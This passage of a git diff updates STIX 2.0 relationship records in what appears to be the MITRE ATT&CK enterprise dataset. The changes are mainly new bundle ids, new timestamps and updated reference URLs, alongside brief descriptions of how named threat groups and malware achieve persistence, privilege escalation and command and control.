+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d.json b/enterprise-attack/relationship/relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d.json
index 0de09756d5..a224c301bc 100644
--- a/enterprise-attack/relationship/relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d.json
+++ b/enterprise-attack/relationship/relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb30fbdd-a08e-4243-8788-9b05c4711232",
+    "id": "bundle--da8cbace-eec0-4562-b7ac-3da56eb3ac9d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--891a97f1-d3e2-45ff-a079-43dcad21a175.json b/enterprise-attack/relationship/relationship--891a97f1-d3e2-45ff-a079-43dcad21a175.json
index 9ef1856045..0c66ffda3b 100644
--- a/enterprise-attack/relationship/relationship--891a97f1-d3e2-45ff-a079-43dcad21a175.json
+++ b/enterprise-attack/relationship/relationship--891a97f1-d3e2-45ff-a079-43dcad21a175.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6736bd54-7105-46aa-b29c-a71307e51fcb",
+    "id": "bundle--9f0184e4-5ff7-42f6-ac83-b40f4996c177",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--891a97f1-d3e2-45ff-a079-43dcad21a175",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Patchwork payload was packed with UPX.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist Dropping Elephant",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
-                    "url": "https://securelist.com/blog/research/75328/the-dropping-elephant-actor/"
+                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--8924eb12-0841-48ca-9d36-69de932b1f21.json b/enterprise-attack/relationship/relationship--8924eb12-0841-48ca-9d36-69de932b1f21.json
index fad57b4471..b1c260fc8b 100644
--- a/enterprise-attack/relationship/relationship--8924eb12-0841-48ca-9d36-69de932b1f21.json
+++ b/enterprise-attack/relationship/relationship--8924eb12-0841-48ca-9d36-69de932b1f21.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc294bae-0a22-411c-bbae-2d5ee2035065",
+    "id": "bundle--33e0edcd-7aaa-459c-984b-61c3552e5786",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8924eb12-0841-48ca-9d36-69de932b1f21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike uses a custom command and control protocol that communicates over commonly used ports.  The C2 protocol is encapsulated in common application layer protocols.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--892ff1d1-3da9-489e-89c3-374ab07a417b.json b/enterprise-attack/relationship/relationship--892ff1d1-3da9-489e-89c3-374ab07a417b.json
index 8993610c6d..efe5a027e2 100644
--- a/enterprise-attack/relationship/relationship--892ff1d1-3da9-489e-89c3-374ab07a417b.json
+++ b/enterprise-attack/relationship/relationship--892ff1d1-3da9-489e-89c3-374ab07a417b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5933f8a-e7e0-4759-81c0-104efec004a6",
+    "id": "bundle--72fd1834-24c8-426d-ad06-8fcc0d85a350",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--892ff1d1-3da9-489e-89c3-374ab07a417b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to collect and exfiltrate emails from Outlook.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--89363ca8-1cf3-4c40-972c-6e2787a05b43.json b/enterprise-attack/relationship/relationship--89363ca8-1cf3-4c40-972c-6e2787a05b43.json
new file mode 100644
index 0000000000..becf2e703e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--89363ca8-1cf3-4c40-972c-6e2787a05b43.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--0b4372a8-e628-4819-a948-ce0e5f8a7d3c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--89363ca8-1cf3-4c40-972c-6e2787a05b43",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
+            "target_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--89424d69-a426-4f76-9e7f-7b2dabe459be.json b/enterprise-attack/relationship/relationship--89424d69-a426-4f76-9e7f-7b2dabe459be.json
index b5c02b013f..1d72f6b247 100644
--- a/enterprise-attack/relationship/relationship--89424d69-a426-4f76-9e7f-7b2dabe459be.json
+++ b/enterprise-attack/relationship/relationship--89424d69-a426-4f76-9e7f-7b2dabe459be.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--53e9e94b-eb02-496c-96f0-1c965713add7",
+    "id": "bundle--aa62355c-cf88-45a6-baf0-76b7fa855124",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--89424d69-a426-4f76-9e7f-7b2dabe459be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE is a PowerShell backdoor.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
diff --git a/enterprise-attack/relationship/relationship--89433640-bf49-48b3-9f26-76423cd36f77.json b/enterprise-attack/relationship/relationship--89433640-bf49-48b3-9f26-76423cd36f77.json
index 0236e80f0e..5d5357b1a0 100644
--- a/enterprise-attack/relationship/relationship--89433640-bf49-48b3-9f26-76423cd36f77.json
+++ b/enterprise-attack/relationship/relationship--89433640-bf49-48b3-9f26-76423cd36f77.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8df05b81-3283-42fc-89bf-c118f1be453a",
+    "id": "bundle--0b5ee37a-5c42-48e9-973c-ac69652a347e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--89433640-bf49-48b3-9f26-76423cd36f77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.",
             "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8",
diff --git a/enterprise-attack/relationship/relationship--8961d93e-ec51-42dd-8f76-54d46ea21967.json b/enterprise-attack/relationship/relationship--8961d93e-ec51-42dd-8f76-54d46ea21967.json
index 0ff898cd26..df450db163 100644
--- a/enterprise-attack/relationship/relationship--8961d93e-ec51-42dd-8f76-54d46ea21967.json
+++ b/enterprise-attack/relationship/relationship--8961d93e-ec51-42dd-8f76-54d46ea21967.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--da02b826-0fe9-4899-9cde-f990f0ebeea6",
+    "id": "bundle--483fcfbf-f011-4695-9157-27af4fd400b5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8961d93e-ec51-42dd-8f76-54d46ea21967",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--896cd1de-ffa7-4f69-a981-2859cc756601.json b/enterprise-attack/relationship/relationship--896cd1de-ffa7-4f69-a981-2859cc756601.json
new file mode 100644
index 0000000000..8966e8c3df
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--896cd1de-ffa7-4f69-a981-2859cc756601.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0620a1b4-9eb8-43c2-bcd4-ab35991db254",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--896cd1de-ffa7-4f69-a981-2859cc756601",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--897dec92-49a8-4edd-8ed2-8082f134e42b.json b/enterprise-attack/relationship/relationship--897dec92-49a8-4edd-8ed2-8082f134e42b.json
index 6f43dbca49..fb13bdf848 100644
--- a/enterprise-attack/relationship/relationship--897dec92-49a8-4edd-8ed2-8082f134e42b.json
+++ b/enterprise-attack/relationship/relationship--897dec92-49a8-4edd-8ed2-8082f134e42b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e1b3faea-202a-458c-ad38-d565a623de3e",
+    "id": "bundle--149c5afc-9b59-4230-baac-cabf1f1ad6cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--897dec92-49a8-4edd-8ed2-8082f134e42b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used PowerShell on victim systems to download and run payloads after exploitation.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--89c6bcd7-e330-4902-8296-0918923d6573.json b/enterprise-attack/relationship/relationship--89c6bcd7-e330-4902-8296-0918923d6573.json
index d2fbd745dd..8a48e5e78c 100644
--- a/enterprise-attack/relationship/relationship--89c6bcd7-e330-4902-8296-0918923d6573.json
+++ b/enterprise-attack/relationship/relationship--89c6bcd7-e330-4902-8296-0918923d6573.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2d0b788b-fa92-4612-a21a-f565b17340e6",
+    "id": "bundle--7c400254-ec65-440c-82cf-878d225a37f8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--89c6bcd7-e330-4902-8296-0918923d6573",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
diff --git a/enterprise-attack/relationship/relationship--89da3f24-b9dc-4c68-9240-228215e51bfc.json b/enterprise-attack/relationship/relationship--89da3f24-b9dc-4c68-9240-228215e51bfc.json
new file mode 100644
index 0000000000..b557b93bff
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--89da3f24-b9dc-4c68-9240-228215e51bfc.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ccca8a29-5a5f-4217-bb04-7d2c0f497d07",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--89da3f24-b9dc-4c68-9240-228215e51bfc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Accounts created by Dragonfly masqueraded as legitimate service accounts.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8a48e090-ab8c-414e-b559-7a0437c92850.json b/enterprise-attack/relationship/relationship--8a48e090-ab8c-414e-b559-7a0437c92850.json
index 6d589c1b4f..71cc5b3ad5 100644
--- a/enterprise-attack/relationship/relationship--8a48e090-ab8c-414e-b559-7a0437c92850.json
+++ b/enterprise-attack/relationship/relationship--8a48e090-ab8c-414e-b559-7a0437c92850.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f8b894ee-cf5b-4c42-84b1-db0496ef680f",
+    "id": "bundle--1e3e9cc1-9db6-4d77-ac58-27f85740bb94",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8a48e090-ab8c-414e-b559-7a0437c92850",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP achieves persistence by creating a shortcut in the current user's Startup folder.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
diff --git a/enterprise-attack/relationship/relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0.json b/enterprise-attack/relationship/relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0.json
index 23f232633b..594199343c 100644
--- a/enterprise-attack/relationship/relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0.json
+++ b/enterprise-attack/relationship/relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cd50d672-a50e-4655-af4a-d50524fb4788",
+    "id": "bundle--8aa02ac2-c3e7-4c83-8d30-44f8ace493dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke has been packed with the UPX packer.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4.json b/enterprise-attack/relationship/relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4.json
index fdcbe72776..2d0161b9ca 100644
--- a/enterprise-attack/relationship/relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4.json
+++ b/enterprise-attack/relationship/relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6391b23e-3729-4fa5-bf37-6651506468de",
+    "id": "bundle--02a266ba-3ff4-47c1-ab9e-26185efc3ef3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
             "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
diff --git a/enterprise-attack/relationship/relationship--8ac07a3f-9468-47a3-8ecc-c432f80e03f4.json b/enterprise-attack/relationship/relationship--8ac07a3f-9468-47a3-8ecc-c432f80e03f4.json
new file mode 100644
index 0000000000..fb226acc94
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8ac07a3f-9468-47a3-8ecc-c432f80e03f4.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ad466358-8217-40b3-8c9e-af3a33d49473",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8ac07a3f-9468-47a3-8ecc-c432f80e03f4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 leverages valid accounts after gaining credentials for use within the victim domain.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6.json b/enterprise-attack/relationship/relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6.json
index 6bb22de132..628e7b9c7d 100644
--- a/enterprise-attack/relationship/relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6.json
+++ b/enterprise-attack/relationship/relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--012cc6d4-2220-4b4e-91c2-287650d430a9",
+    "id": "bundle--677163fd-db79-4489-84f5-a219b57d8972",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE uses Microsoft\u2019s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
diff --git a/enterprise-attack/relationship/relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59.json b/enterprise-attack/relationship/relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59.json
index 48c67eb19d..57d06f2cc9 100644
--- a/enterprise-attack/relationship/relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59.json
+++ b/enterprise-attack/relationship/relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2059efd2-f41e-43ba-b461-ec47f99030b4",
+    "id": "bundle--1ee571fd-c10f-43c9-bcb2-a6baa8152402",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--8b439661-99e2-4410-b043-082155793155.json b/enterprise-attack/relationship/relationship--8b439661-99e2-4410-b043-082155793155.json
index 3fa8070796..8f8967d29b 100644
--- a/enterprise-attack/relationship/relationship--8b439661-99e2-4410-b043-082155793155.json
+++ b/enterprise-attack/relationship/relationship--8b439661-99e2-4410-b043-082155793155.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--98980a28-2d2a-4e0b-a8d8-412ed2343545",
+    "id": "bundle--261332eb-4def-4110-a884-f7bbc3c5bc9f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8b439661-99e2-4410-b043-082155793155",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e",
             "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
diff --git a/enterprise-attack/relationship/relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020.json b/enterprise-attack/relationship/relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020.json
index 13b295e3dd..8afc695047 100644
--- a/enterprise-attack/relationship/relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020.json
+++ b/enterprise-attack/relationship/relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f35fa6b-7e6f-409d-b7ac-b76db9802211",
+    "id": "bundle--c6051b09-1442-45ac-ad2c-7c0274f56e09",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Janicab captured audio and sent it out to a C2 server .",
             "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
diff --git a/enterprise-attack/relationship/relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20.json b/enterprise-attack/relationship/relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20.json
index bc9ae1cddc..0280c56aae 100644
--- a/enterprise-attack/relationship/relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20.json
+++ b/enterprise-attack/relationship/relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d05f1996-703d-4e08-8d3d-d5c609c350fd",
+    "id": "bundle--fd177d4a-291a-4489-8d82-2ccf745739a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist Agent.btz",
                     "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.",
-                    "url": "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/"
+                    "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c.json b/enterprise-attack/relationship/relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c.json
index 3097cbd4c8..027ed6a714 100644
--- a/enterprise-attack/relationship/relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c.json
+++ b/enterprise-attack/relationship/relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b8445c98-06d9-4d57-a6cc-fb4374fd0d14",
+    "id": "bundle--d1294ced-93b7-4415-9de9-eddf3acf6119",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can add or remove applications or ports on the Windows firewall or disable it entirely.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--8bb44b86-379d-49ba-9b28-2451e69db30d.json b/enterprise-attack/relationship/relationship--8bb44b86-379d-49ba-9b28-2451e69db30d.json
index 46115a3bd5..dd636abf08 100644
--- a/enterprise-attack/relationship/relationship--8bb44b86-379d-49ba-9b28-2451e69db30d.json
+++ b/enterprise-attack/relationship/relationship--8bb44b86-379d-49ba-9b28-2451e69db30d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--009142de-892b-4c6d-bd77-bbe68a1cd0dd",
+    "id": "bundle--502dfd1c-e64f-4c10-a6e2-6b9447d2beb9",
     "spec_version": "2.0",
     "objects": [
         {
